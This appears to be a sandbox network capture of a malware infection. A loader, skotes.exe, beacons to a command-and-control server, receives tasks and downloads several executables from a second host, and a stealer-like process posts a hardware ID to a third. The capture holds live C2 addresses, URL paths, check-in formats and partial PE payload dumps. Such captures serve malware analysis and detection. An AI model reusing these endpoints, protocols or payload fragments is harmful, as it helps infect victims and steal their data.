Nov 11, 2024 12:40:35.513349056 CET	1236	IN	Data Raw: 00 8b ce 66 96 41 e5 9a 5d 75 90 cc a6 cd 85 9c 24 d0 c0 93 4c 74 68 9e db df 53 11 08 c6 ce 5c ae 73 97 46 00 02 8c 46 00 02 8c 46 00 02 8c 46 00 8b ce 66 a2 dd e8 8a c3 9a 53 fe eb de 53 92 4c 8e b0 8e 6c 84 53 a1 07 8e cc df 38 7a b7 92 4c de Data Ascii: fA]u$LthS\sFFFFfSSLlS8zLS0SLkSFFFFfLhMSHg$f:LFfAaHKz VH]FjJLATFFFfAaHKzV
Nov 11, 2024 12:40:35.513360977 CET	1236	IN	Data Raw: 49 de d6 5e 48 d4 15 9a 4b 6a 4f f8 58 74 68 e4 ff df 53 11 08 c6 ce 5c ae 73 96 9e 4c 8b ce 66 a2 dd e8 1a c3 9a 53 fe eb de 53 92 4c 8e d6 66 50 74 b1 8e 6c 84 53 a1 07 8e cc df 38 7a b7 92 4c de 53 19 3b 47 e5 62 a2 de eb f9 cb 9b 53 07 9f f6 Data Ascii: I^HKjOXthS\sLfSSLfPtlS8zLS;GbS<zLSoLS\PzuQ{ZPLDMkHzSo2{hLS0YaR0YX$LY\gSLPDk/SFFFfA]uH
Nov 11, 2024 12:40:35.513377905 CET	1236	IN	Data Raw: 00 02 8c 46 00 02 8c 46 00 5b 89 ee 46 41 51 f8 4b dd 40 51 00 02 8c 46 00 8b ce 66 36 9b 4b 93 96 41 61 5a 46 e2 3e df 4c 6a 4f f8 44 74 68 e8 e4 df 53 11 08 c6 ce 5c ae 73 96 9e 4c 02 8c 46 00 02 8c 46 00 02 8c 46 00 8b ce 66 c1 9b 4b cc c1 ef Data Ascii: FF[FAQK@QFf6KAaZF>LjODthS\sLFFFfK W]F>LIS$LCz6QL\zP]fPL\sLFFtc']F>LkSzLQH]F>L\|FFFfAa4K@kS 6K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	50112	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:04.146982908 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:41:04.796003103 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50114	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:06.310851097 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:41:06.966515064 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 35 35 32 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 35 32 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 35 32 34 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 35 32 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1005522001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1005523001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005524031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005525001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50115	185.215.113.16	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:06.977174997 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 11, 2024 12:41:07.615086079 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:07 GMT Content-Type: application/octet-stream Content-Length: 3247616 Last-Modified: Mon, 11 Nov 2024 11:23:12 GMT Connection: keep-alive ETag: "6731e920-318e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 a0 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 31 00 00 04 00 00 5c 5d 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ1@1\]2@Th@ @.rsrc@@.idata @haojiwdb++@htquzmvw1h1@.taggant01"l1@
Nov 11, 2024 12:41:07.615112066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:07.615124941 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:07.615137100 CET	1148	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:07.615148067 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:07.615164995 CET	212	IN	Data Raw: a9 1e 6f fc cd 42 f4 7d ee 42 18 b8 6f 62 10 f0 a9 ce 19 38 26 42 f4 b7 21 30 9c d8 9f 62 10 c0 ad 93 f5 67 d5 14 31 dc b1 20 60 c1 6f 62 10 f0 aa a6 30 dc e2 a9 30 dc dd a9 40 dc bd 5b ec 27 aa 1e fb 3c 86 1f ec b7 70 62 10 c4 a9 1e ec b7 32 72 Data Ascii: oB}Bob8&B!0bg1 `ob00@['<pb2ruflo~02bpb4";x&`2b4b4f<s8t0h1Nl"<YIz-q~Bpb~0
Nov 11, 2024 12:41:07.615235090 CET	1236	IN	Data Raw: 29 18 2f 2c b2 e5 30 dc d1 1e 4c fc a9 e4 30 dc e1 1e e2 fc cd 26 f4 2b c0 9e e6 fa b8 b3 ac 1e 71 62 10 f0 ab 4e ac 98 af 2a 2e 40 ee 42 26 7f ee 42 0c 38 ab 1e ec 70 ab 1e ec b7 92 7c ee b7 a9 dc ff 17 ee 1e 6c b2 f1 92 f1 75 aa 7e 30 b8 34 62 Data Ascii: )/,0L0&+qbN.@B&B8p\|lu~04bw2oo@m/)z6j3j6j03j6j2j6j2ABB,=j8B7BB@ 2o-nBBAB@\|H:@hN<$2ylu-
Nov 11, 2024 12:41:07.615247965 CET	1236	IN	Data Raw: 29 5c ec c6 2d ad 0b b8 a9 ab 3d bb 34 62 10 bc 2c de e9 41 80 14 af bb b8 a2 ca c7 a9 1e 71 78 b9 a2 24 c8 a9 1e 6c f6 a9 2d 70 21 c9 1e ec 44 eb 22 77 2c ce 22 6f 7e a6 c6 ef c6 2d df fb b7 a9 a3 e2 c7 2d 2f fc b7 a9 07 f3 c7 a9 1e 74 4c ce 79 Data Ascii: )\-=4b,Aqx$l-p!D"w,"o~--/tLy00J~B ~BD.BGu6&^BB_oy8p pbob0R*y<ywB,@BB
Nov 11, 2024 12:41:07.615259886 CET	1236	IN	Data Raw: f6 42 f8 a0 92 1c ec b7 2d ff e4 e9 7b a9 48 dc c1 a9 60 dc ad ae 7c 48 3a ae 7c 48 3a ae 7c 48 3a 2d a2 fc bc 1f 74 bc bf 2d a2 fc bc 20 74 fc bf 1f fb 6d ee 31 ef 3f ee 34 ee c6 5f 62 ff bb 31 62 02 bb b8 d4 30 cb ae a6 30 ce ad 2d a2 fc bc 24 Data Ascii: B-{H`\|H:\|H:\|H:-t- tm1?4_b1b00-$t#m1?4_b1b,z``wHP%`4buzw,"wf\|H:\|H:\|H:-W-ABBBw.m,tKwFq3z'(5~B2ob3";:v
Nov 11, 2024 12:41:07.615269899 CET	636	IN	Data Raw: 8c fd cc 56 20 29 c5 82 87 ff cb 98 48 f7 b6 2f dd fa e6 43 ee 42 f4 44 32 1e ec b7 ac 5b eb b7 a9 1e 63 d8 86 00 cc 98 48 2d 72 82 bf 1e ec 90 74 fb cd 95 83 fd cc 56 83 0c c6 81 83 e8 fb 3d 5f 33 ec b7 86 f6 c9 90 33 6a 10 c0 67 24 ec b7 a9 a9 Data Ascii: V )H/CBD2[cH-rtV=_33jg$,,;:.ynu*yu&yZu"yNu`o\|,8`0VghdY>&,B'V?B%CB 9\BBBAB#.E8
Nov 11, 2024 12:41:07.620250940 CET	1236	IN	Data Raw: 5f 23 ed 47 ee 1e 20 4c 32 24 32 a3 6e a9 38 dc b5 a1 68 dc b9 1e 60 cb b8 d4 f9 b7 39 62 ec 3f f5 1f 6f 7b ac a9 40 dc dd a7 c5 41 f6 42 f0 42 f6 42 0c 41 78 47 c2 43 06 42 fc f0 87 94 f3 44 b6 38 75 04 ce 3e 25 80 1d 41 77 0c ce 22 7c 48 3a a9 Data Ascii: _#G L2$2n8h`9b?o{@ABBBAxGCBD8u>%Aw"\|H:8-8W*@@pE4uG\|HCu,"wRu~3"y`-rB%-p;BB:!`27}CB4y`S;!`7a@B} CBy(`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50117	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:10.882288933 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005522001&unit=246122658369
Nov 11, 2024 12:41:11.522188902 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50118	185.215.113.16	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:11.529489994 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 11, 2024 12:41:12.166001081 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:12 GMT Content-Type: application/octet-stream Content-Length: 1820160 Last-Modified: Mon, 11 Nov 2024 11:23:25 GMT Connection: keep-alive ETag: "6731e92d-1bc600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 f0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 6a 00 00 04 00 00 3f ae [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"i@ j?@M$a$ $b@.rsrc $r@.idata $r@ $t@kntikdlf0Ov@xdprgvyai@.taggant0i"@
Nov 11, 2024 12:41:12.166023970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:12.166042089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:12.166053057 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 12:41:12.166064978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 a0 70 61 2e 83 b1 dd 25 92 91 e2 8e 82 70 9a 6a 86 5b 2c 31 4e c6 44 4e 17 af 42 30 2b 8d 83 e5 02 1f e5 31 fa 84 e6 4d 8c d2 11 65 09 63 6b 16 80 2f 50 1c 8c 86 f6 29 65 73 00 96 Data Ascii: pa.%pj[,1NDNB0+1Meck/P)es,>?djr*N/zTH#XW0y-sp{hwMj57pky}rDdL;19KYql1y~;&~[Q'm[SyA1[kc
Nov 11, 2024 12:41:12.166075945 CET	212	IN	Data Raw: 4c 2d 30 03 c9 6e 23 f4 50 3f e4 f0 5b 3e b5 8b 60 a5 57 f3 cd 3c 25 7f ab 25 e3 bc d0 66 80 77 ed 67 6f 92 64 26 03 01 eb e9 3e d7 1e 8b 58 12 e6 c4 76 f5 33 cd 83 b8 0a bd 1d 83 36 18 b6 c1 ae 3f 4d ee 6a 28 5f 1b 58 32 8d 47 f4 ad 81 82 30 c1 Data Ascii: L-0n#P?[>`W<%%fwgod&>Xv36?Mj(_X2G0ycB/rk5? \|htr 5>*h\HBg^Q#kI~-2l-VY'e1W+%^wPJ&-H
Nov 11, 2024 12:41:12.166086912 CET	1236	IN	Data Raw: 93 2d 70 5b d7 0b 83 80 30 ea 13 21 e2 25 f9 7d 6b 69 c3 22 9f 6c 8a 87 56 ba ae 97 f2 39 17 75 5d 57 ca 7d a6 6c 3f 3f f8 fd fa 00 f6 57 52 c5 13 62 27 6b 31 98 9c 02 e9 3c 52 92 f5 1e 0f bf f1 98 9f 43 dc 41 88 eb 0c 16 2f 83 3e 5e 09 b9 a2 32 Data Ascii: -p[0!%}ki"lV9u]W}l??WRb'k1<RCA/>^2@9NL* ~SILIw$]jFQR)+7"YR~W!\|%cz[nJYK~.e?y T?U"/O}&V!Ek>\!xKm\*w"<)
Nov 11, 2024 12:41:12.166099072 CET	1236	IN	Data Raw: 5d c6 36 40 50 1d cf d6 fc 21 eb e0 f6 19 fc de ce 21 c2 7e 46 3d 44 5c 79 6a 06 f1 1b 21 e6 75 0d 90 85 1d 17 47 36 3f 48 e6 34 df dc 86 09 3f 51 96 3b 71 9a 39 43 a8 20 a1 20 c6 3f 97 c3 96 1f 37 75 eb fc 18 cb 58 09 b9 6a e3 fc 18 a5 5f 12 81 Data Ascii: ]6@P!!~F=D\yj!uG6?H4?Q;q9C ?7uXj_TSI+xHO\|e\|}6DQ>ip5APR)s>_vqqbCn??LU~T07>xvp^59o?*./kShe5oze&?[5
Nov 11, 2024 12:41:12.166110992 CET	1236	IN	Data Raw: b9 5e 11 30 fb 28 07 1b 1f 51 84 b7 a3 5e 09 72 ae 2b 1c 9f e2 61 85 00 8e 67 09 c0 88 e7 7f 88 2e 36 17 fc ec af 27 52 3b b6 11 df e2 a1 9c b4 5e 1e 1b 75 5a b6 11 fb e2 9d e8 81 48 27 00 67 73 1d 11 17 1d 3d 89 94 32 77 82 27 ec d9 03 bb 7b 41 Data Ascii: ^0(Q^r+ag.6'R;^uZH'gs=2w'{A=xOAXGk(wc V%lKE6=V5uW_%GL6#5}ilwEecaY^SO3oY^+/vW=k+;w&=GIkFS,39[._Z?
Nov 11, 2024 12:41:12.166124105 CET	636	IN	Data Raw: 22 52 eb af f0 bd 7f 91 7e a1 3d e6 29 1d 79 9d 22 2b 0f a3 35 3e 5c 85 12 37 2a e4 e6 9e 77 b1 1c 60 0d 30 9a 2d 3d 85 fa 26 1f b0 06 4a 0a a1 7d 9f 23 88 ea 45 83 cb 1e 31 51 b9 57 4d 11 7f 1e 99 d7 f7 24 1b 40 b3 2a 37 53 7f 76 9f 83 5f e9 d3 Data Ascii: "R~=)y"+5>\7w`0-=&J}#E1QWM$@7Sv_:2el+b?,@=ko7oT9Y(56dweK[Lh=%cRj{~BW#}%,c#=W3sUO]p\|g6_9w?u{-'
Nov 11, 2024 12:41:12.171114922 CET	1236	IN	Data Raw: f0 dd 7f b1 aa 3d 7f ca fe cd 05 d8 3f ed 1a 85 3b 1d eb f8 6a b7 8f 46 03 0d 12 91 02 4c 1d 33 63 57 87 af 8d 6d 3f a6 3e b5 11 07 66 9e 71 cb 61 18 8b d8 5b 2e 6f 77 0e b6 6c cc e3 a5 27 e7 62 91 3d 2f 65 39 42 94 e4 39 7b 85 ea a9 85 e3 4b 25 Data Ascii: =?;jFL3cWm?>fqa[.owl'b=/e9B9{K%,h6!K/wWae?0#[IAxfgl")eMC7a+=k(npc#+;eT+)k'v4*#sew3h"e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50122	185.215.113.206	80	2724	C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:14.902905941 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 12:41:15.539830923 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:41:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:41:15.544631004 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECFBAAAFHIIDGCGCBF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 46 32 39 39 42 35 36 34 37 36 32 37 37 38 39 30 34 39 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 2d 2d 0d 0a Data Ascii: ------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="hwid"28F299B564762778904926------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="build"mars------FIECFBAAAFHIIDGCGCBF--
Nov 11, 2024 12:41:15.746443987 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:41:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50123	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:15.393583059 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005523001&unit=246122658369
Nov 11, 2024 12:41:16.034913063 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50125	185.215.113.16	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:16.579060078 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 11 Nov 2024 11:23:25 GMT If-None-Match: "6731e92d-1bc600"
Nov 11, 2024 12:41:17.218575001 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:17 GMT Last-Modified: Mon, 11 Nov 2024 11:23:25 GMT Connection: keep-alive ETag: "6731e92d-1bc600"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50128	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:19.027057886 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 32 34 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005524031&unit=246122658369
Nov 11, 2024 12:41:19.665487051 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50129	185.215.113.16	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:19.816819906 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
